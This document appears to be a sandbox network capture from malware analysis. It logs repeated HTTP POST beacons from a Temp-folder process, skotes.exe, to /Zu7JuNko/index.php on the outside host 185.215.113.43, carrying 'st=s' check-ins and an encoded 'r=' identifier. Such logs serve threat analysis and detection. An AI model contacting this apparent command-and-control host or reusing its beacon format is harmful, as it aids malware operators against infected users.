Nov 1, 2024 05:54:48.047838926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:54:48.950021029 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50149	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:50.461141109 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:51.375711918 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50156	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:53.000942945 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:54:53.913271904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50157	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:55.435398102 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:54:56.347995043 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:54:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50159	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:57.971470118 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50160	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:54:59.501199961 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:55:00.416485071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50161	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:02.053688049 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:55:02.968017101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50162	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:04.487098932 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:55:05.420731068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50163	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:07.042428017 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:55:07.941845894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50164	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:09.476437092 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:55:10.382838964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50165	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:12.008429050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:55:12.916193008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50166	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:14.448349953 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:55:15.355542898 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50167	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:16.975716114 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:55:17.870367050 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50170	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:19.391690016 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:55:20.306483984 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50171	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:21.929369926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:55:22.835324049 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50173	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:24.375845909 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50174	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:26.324286938 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:55:28.257044077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50175	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:29.775485039 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:55:30.680150032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50176	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:32.312556028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:55:33.210370064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50177	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:34.728578091 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:55:35.675729990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50178	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:37.303148031 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:55:38.202724934 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	50180	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:39.720129967 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:55:40.627981901 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	50181	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:42.253968000 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:55:43.161839008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	50182	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:44.687517881 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:55:45.592299938 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:55:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	50183	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:55:47.221712112 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
